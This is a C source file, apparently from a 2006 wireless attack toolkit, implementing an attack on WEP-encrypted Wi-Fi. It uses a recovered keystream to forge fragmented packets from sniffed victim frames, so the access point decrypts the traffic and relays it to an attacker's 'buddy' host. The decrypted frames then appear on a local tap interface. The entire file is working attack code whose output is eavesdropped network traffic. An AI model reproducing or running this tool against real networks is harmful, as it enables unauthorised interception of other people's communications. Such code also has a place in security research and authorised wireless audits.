1/*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 */ 26#include <sys/time.h> 27#include <sys/types.h> 28#include <sys/socket.h> 29#include <sys/uio.h> 30#include <netinet/in.h> 31#include <arpa/inet.h> 32#include <netinet/in_systm.h> 33#include <netinet/ip.h> 34#include <string.h> 35#include <stdio.h> 36#include <stdlib.h> 37#include <unistd.h> 38#include <fcntl.h> 39#include <err.h> 40#include <assert.h> 41#include <zlib.h> 42#include "w00t.h" 43 44enum { 45 S_START = 0, 46 S_WAIT_ACK, 47 S_WAIT_BUDDY 48}; 49 50struct queue { 51 struct ieee80211_frame *wh; 52 int len; 53 int id; 54 55 char *buf; 56 int live; 57 struct queue *next; 58}; 59 60struct params { 61 int rx; 62 int tx; 63 64 int s; 65 int port; 66 67 int tap; 68 69 char mac[6]; 70 char ap[6]; 71 char rtr[6]; 72 struct in_addr src; 73 struct in_addr dst; 74 75 char prga[2048]; 76 int prga_len; 77 char iv[3]; 78 char *fname; 79 80 int state; 81 82 struct queue *q; 83 84 char packet[2048]; 85 int packet_len; 86 struct timeval last; 87 int id; 88 int data_try; 89 90 int seq; 91 int frag; 92 93 char buddy_data[2048]; 94 int buddy_got; 95}; 96 97void load_prga(struct params *p) 98{ 99 int fd; 100 int rd; 101 102 fd = open(p->fname, O_RDONLY); 103 if (fd == -1) { 104 p->prga_len = 0; 105 return; 106 } 107 108 rd = read(fd, p->iv, 3); 109 if (rd == -1) 110 err(1, "read()"); 111 if (rd != 3) { 112 printf("Short read\n"); 113 exit(1); 114 } 115 116 rd = read(fd, p->prga, sizeof(p->prga)); 117 if (rd == -1) 118 err(1, "read()"); 119 p->prga_len = rd; 120 121 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); 122 close(fd); 123} 124 125int wanted(struct params *p, struct ieee80211_frame *wh, int len) 126{ 127 char *bssid, *sa; 128 129 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 130 bssid = wh->i_addr1; 131 sa = wh->i_addr2; 132 } 133 else { 134 bssid = wh->i_addr2; 135 sa = wh->i_addr3; 136 } 137 138 if (memcmp(bssid, p->ap, 6) != 0) 139 return 0; 140 141 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { 142 printf("Got non WEP packet...\n"); 143 return 0; 144 } 145 146 /* my own shit */ 147 if (memcmp(p->mac, sa, 6) == 0) 148 return 0; 149 150 return 1; 151} 152 153void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) 154{ 155 struct queue *q = p->q; 156 int qlen = 0; 157 char *ret = NULL; 158 struct queue *last = NULL; 159 160 /* find a slot */ 161 while (q) { 162 if (q->live) 163 qlen++; 164 else { 165 /* recycle */ 166 ret = q->buf; 167 break; 168 } 169 170 last = q; 171 q = q->next; 172 } 173 174 /* need to create slot */ 175 if (!q) { 176 q = (struct queue*) malloc(sizeof(*q)); 177 if (!q) 178 err(1, "malloc()"); 179 memset(q, 0, sizeof(*q)); 180 181 /* insert */ 182 if (!p->q) 183 p->q = q; 184 else { 185 assert(last); 186 last->next = q; 187 } 188 } 189 190 q->live = 1; 191 q->buf = *buf; 192 q->len = len; 193 q->wh = wh; 194 q->id = p->id++; 195 196 qlen++; 197 198 if (qlen > 5) 199 printf("Enque. Size: %d\n", qlen); 200 *buf = ret; 201} 202 203/********** RIPPED 204************/ 205unsigned short in_cksum (unsigned short *ptr, int nbytes) { 206 register long sum; 207 u_short oddbyte; 208 register u_short answer; 209 210 sum = 0; 211 while (nbytes > 1) 212 { 213 sum += *ptr++; 214 nbytes -= 2; 215 } 216 217 if (nbytes == 1) 218 { 219 oddbyte = 0; 220 *((u_char *) & oddbyte) = *(u_char *) ptr; 221 sum += oddbyte; 222 } 223 224 sum = (sum >> 16) + (sum & 0xffff); 225 sum += (sum >> 16); 226 answer = ~sum; 227 return (answer); 228} 229/************** 230************/ 231 232void send_packet(struct params *p) 233{ 234 int rc; 235 struct ieee80211_frame *wh; 236 237 rc = inject(p->tx, p->packet, p->packet_len); 238 if (rc == -1) 239 err(1, "inject()"); 240 if (rc != p->packet_len) { 241 printf("Wrote %d/%d\n", rc, p->packet_len); 242 exit(1); 243 } 244 245 p->data_try++; 246 wh = (struct ieee80211_frame*) p->packet; 247 wh->i_fc[1] |= IEEE80211_FC1_RETRY; 248 249 if (gettimeofday(&p->last, NULL) == -1) 250 err(1, "gettimeofday()"); 251} 252 253void send_header(struct params *p, struct queue *q) 254{ 255 struct ieee80211_frame *wh; 256 short *pseq; 257 char *ptr; 258 struct ip *ih; 259 int len, i; 260 uLong crc = crc32(0L, Z_NULL, 0); 261 uLong *pcrc; 262 263 /* 802.11 */ 264 memset(p->packet, 0, sizeof(p->packet)); 265 wh = (struct ieee80211_frame *) p->packet; 266 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 267 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 268 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 269 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 270 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 271 272 wh->i_dur[0] = 0x69; 273 274 memcpy(wh->i_addr1, p->ap, 6); 275 memcpy(wh->i_addr2, p->mac, 6); 276 memcpy(wh->i_addr3, p->rtr, 6); 277 278 pseq = (short*) wh->i_seq; 279 p->frag = 0; 280 p->seq++; 281 *pseq = seqfn(p->seq, p->frag++); 282 283 /* IV */ 284 ptr = (char*) (wh+1); 285 memcpy(ptr, p->iv, 3); 286 ptr += 4; 287 288 /* LLC/SNAP */ 289 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8); 290 291 /* IP */ 292 ih = (struct ip*) (ptr+8); 293 ih->ip_v = 4; 294 ih->ip_hl = 5; 295 len = q->len - sizeof(*wh) - 4 - 4 + 20; 296 ih->ip_len = htons(len); 297 ih->ip_id = htons(q->id); 298 ih->ip_ttl = 69; 299 ih->ip_p = 0; 300 ih->ip_src.s_addr = p->src.s_addr; 301 ih->ip_dst.s_addr = p->dst.s_addr; 302 ih->ip_sum = in_cksum((unsigned short*)ih, 20); 303 304 /* ICV */ 305 len = 8 + 20; 306 crc = crc32(crc, ptr, len); 307 pcrc = (uLong*) (ptr+len); 308 *pcrc = crc; 309 310 /* wepify */ 311 for (i = 0; i < len + 4; i++) 312 ptr[i] ^= p->prga[i]; 313 314 p->packet_len = sizeof(*wh) + 4 + len + 4; 315 p->data_try = 0; 316 send_packet(p); 317} 318 319void send_queue(struct params *p) 320{ 321 struct queue *q = p->q; 322 323 assert(q); 324 assert(q->live); 325 326 send_header(p, q); 327 p->state = S_WAIT_ACK; 328} 329 330void send_data(struct params *p) 331{ 332 struct ieee80211_frame *wh; 333 short *seq; 334 struct queue *q = p->q; 335 char *dst, *src; 336 int len; 337 338 assert(q); 339 340 /* 802.11 */ 341 memset(p->packet, 0, sizeof(p->packet)); 342 wh = (struct ieee80211_frame*) p->packet; 343 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 344 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 345 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 346 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 347 348 wh->i_dur[0] = 0x69; 349 350 memcpy(wh->i_addr1, p->ap, 6); 351 memcpy(wh->i_addr2, p->mac, 6); 352 memcpy(wh->i_addr3, p->rtr, 6); 353 354 seq = (short*) wh->i_seq; 355 *seq = seqfn(p->seq, p->frag++); 356 357 /* data */ 358 dst = (char*) (wh+1); 359 src = (char*) (q->wh+1); 360 len = q->len - sizeof(*wh); 361 memcpy(dst, src, len); 362 363 p->packet_len = sizeof(*wh) + len; 364 p->data_try = 0; 365 send_packet(p); 366} 367 368void got_ack(struct params *p) 369{ 370 switch (p->frag) { 371 case 1: 372 send_data(p); 373 break; 374 375 case 2: 376 p->state = S_WAIT_BUDDY; 377 p->data_try = 69; 378 break; 379 } 380} 381 382void read_wifi(struct params *p) 383{ 384 static char *buf = 0; 385 static int buflen = 4096; 386 struct ieee80211_frame *wh; 387 int rc; 388 389 if (!buf) { 390 buf = (char*) malloc(buflen); 391 if (!buf) 392 err(1, "malloc()"); 393 } 394 395 rc = sniff(p->rx, buf, buflen); 396 if (rc == -1) 397 err(1, "sniff()"); 398 399 wh = get_wifi(buf, &rc); 400 if (!wh) 401 return; 402 403 /* acks */ 404 if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) && 405 (memcmp(p->mac, wh->i_addr1, 6) == 0)) { 406 got_ack(p); 407 return; 408 } 409 410 /* data */ 411 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 412 IEEE80211_FC0_SUBTYPE_DATA)) { 413 if (!wanted(p, wh, rc)) 414 return; 415 416 enque(p, &buf, wh, rc); 417 if (p->state == S_START) 418 send_queue(p); 419 return; 420 } 421} 422 423int connect_buddy(struct params *p) 424{ 425 struct sockaddr_in s_in; 426 427 memset(&s_in, 0, sizeof(s_in)); 428 s_in.sin_family = PF_INET; 429 s_in.sin_port = htons(p->port); 430 s_in.sin_addr.s_addr = p->dst.s_addr; 431 432 if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) 433 return -1; 434 435 if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) 436 return -1; 437 438 return 0; 439} 440 441void buddy_reset(struct params *p) 442{ 443 p->buddy_got = 0; 444 445 if (connect_buddy(p) == -1) 446 err(1, "connect_buddy()"); 447} 448 449int buddy_get(struct params *p, int len) 450{ 451 int rd; 452 453 rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0); 454 if (rd <= 0) { 455 buddy_reset(p); 456 return 0; 457 } 458 459 p->buddy_got += rd; 460 return rd == len; 461} 462 463void read_buddy_head(struct params *p) 464{ 465 int rem; 466 467 rem = 4 - p->buddy_got; 468 469 if (!buddy_get(p, rem)) 470 return; 471} 472 473void read_buddy_data(struct params *p) 474{ 475 unsigned short *ptr = (unsigned short*) p->buddy_data; 476 int id, len, rem; 477 struct queue *q = p->q; 478 struct queue *last = p->q; 479 char mac[12]; 480 struct iovec iov[2]; 481 482 id = ntohs(*ptr++); 483 len = ntohs(*ptr++); 484 485 rem = len + 4 - p->buddy_got; 486 487 assert(rem > 0); 488 if (!buddy_get(p, rem)) 489 return; 490 491 /* w00t, got it */ 492#if 0 493 printf("id=%d len=%d\n", id, len); 494#endif 495 p->buddy_got = 0; 496 497 /* feedback loop bullshit */ 498 if (!q) 499 return; 500 if (!q->live) 501 return; 502 503 /* sanity chex */ 504 if (q->id != id) { 505 printf("Diff ID\n"); 506 return; 507 } 508 509 rem = q->len - sizeof(*q->wh) - 4 - 4; 510 if (rem != len) { 511 printf("Diff len\n"); 512 return; 513 } 514 515 /* tap */ 516 if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 517 memcpy(mac, q->wh->i_addr3, 6); 518 memcpy(&mac[6], q->wh->i_addr2, 6); 519 } else { 520 memcpy(mac, q->wh->i_addr1, 6); 521 memcpy(&mac[6], q->wh->i_addr3, 6); 522 } 523 iov[0].iov_base = mac; 524 iov[0].iov_len = sizeof(mac); 525 iov[1].iov_base = (char*)ptr + 8 - 2; 526 iov[1].iov_len = len - 8 + 2; 527 528 rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec)); 529 if (rem == -1) 530 err(1, "writev()"); 531 if (rem != (14+(len-8))) { 532 printf("Short write %d\n", rem); 533 exit(1); 534 } 535 536 /* deque */ 537 q->live = 0; 538 if (q->next) { 539 540 p->q = q->next; 541 542 while (last) { 543 if (!last->next) { 544 last->next = q; 545 q->next = 0; 546 break; 547 } 548 last = last->next; 549 } 550 } 551 552 /* drain queue */ 553 p->state = S_START; 554 if (p->q->live) 555 send_queue(p); 556} 557 558void read_buddy(struct params *p) 559{ 560 if (p->buddy_got < 4) 561 read_buddy_head(p); 562 else 563 read_buddy_data(p); 564} 565 566void own(struct params *p) 567{ 568 struct timeval tv; 569 struct timeval *to = NULL; 570 fd_set fds; 571 int max; 572 int tout_ack = 10*1000; 573 int tout_buddy = 2*1000*1000; 574 int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack; 575 576 if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) { 577 int el; 578 579 /* check timeout */ 580 if (gettimeofday(&tv, NULL) == -1) 581 err(1, "gettimeofday()"); 582 583 el = elapsed(&p->last, &tv); 584 585 /* timeout */ 586 if (el >= tout) { 587 if (p->data_try > 3) { 588 p->state = S_START; 589 return; 590 } else { 591 send_packet(p); 592 el = 0; 593 } 594 } 595 el = tout - el; 596 tv.tv_sec = el/1000/1000; 597 tv.tv_usec = el - tv.tv_sec*1000*1000; 598 to = &tv; 599 } 600 601 FD_ZERO(&fds); 602 FD_SET(p->rx, &fds); 603 FD_SET(p->s, &fds); 604 max = (p->rx > p->s) ? p->rx : p->s; 605 606 if (select(max+1, &fds, NULL, NULL, to) == -1) 607 err(1, "select()"); 608 609 if (FD_ISSET(p->rx, &fds)) 610 read_wifi(p); 611 if (FD_ISSET(p->s, &fds)) 612 read_buddy(p); 613} 614 615void usage(char *name) 616{ 617 printf("Usage %s <opts>\n" 618 "-h\thelp\n" 619 "-d\t<buddy ip>\n" 620 "-p\t<port>\n" 621 "-b\t<bssid>\n" 622 "-t\t<tap>\n" 623 "-r\t<rtr>\n" 624 "-s\t<source ip>\n" 625 , name); 626 exit(1); 627} 628 629int main(int argc, char *argv[]) 630{ 631 struct params p; 632 char *iface = "wlan0"; 633 char *tap = "tap0"; 634 int ch; 635 636 memset(&p, 0, sizeof(p)); 637 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); 638 p.fname = "prga.log"; 639 p.seq = getpid(); 640 641 while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) { 642 switch (ch) { 643 case 's': 644 if (!inet_aton(optarg, &p.src)) { 645 printf("Can't parse src IP\n"); 646 exit(1); 647 } 648 break; 649 650 case 'r': 651 if (str2mac(p.rtr, optarg) == -1) { 652 printf("Can't parse rtr MAC\n"); 653 exit(1); 654 } 655 break; 656 657 case 't': 658 tap = optarg; 659 break; 660 661 case 'b': 662 if (str2mac(p.ap, optarg) == -1) { 663 printf("Can't parse BSSID\n"); 664 exit(1); 665 } 666 break; 667 668 case 'd': 669 if (!inet_aton(optarg, &p.dst)) { 670 printf("Can't parse IP\n"); 671 exit(1); 672 } 673 break; 674 675 case 'p': 676 p.port = atoi(optarg); 677 break; 678 679 case 'h': 680 default: 681 usage(argv[0]); 682 break; 683 } 684 } 685 686 load_prga(&p); 687 assert(p.prga_len > 60); 688 689 if ((p.rx = open_rx(iface)) == -1) 690 err(1, "open_rx()"); 691 if ((p.tx = open_tx(iface)) == -1) 692 err(1, "open_tx()"); 693 694 if ((p.tap = open_tap(tap)) == -1) 695 err(1, "open_tap()"); 696 if (set_iface_mac(tap, p.mac) == -1) 697 err(1, "set_iface_mac()"); 698 699 if (connect_buddy(&p) == -1) 700 err(1, "connect_buddy()"); 701 702 p.state = S_START; 703 while (1) 704 own(&p); 705 706 exit(0); 707} 708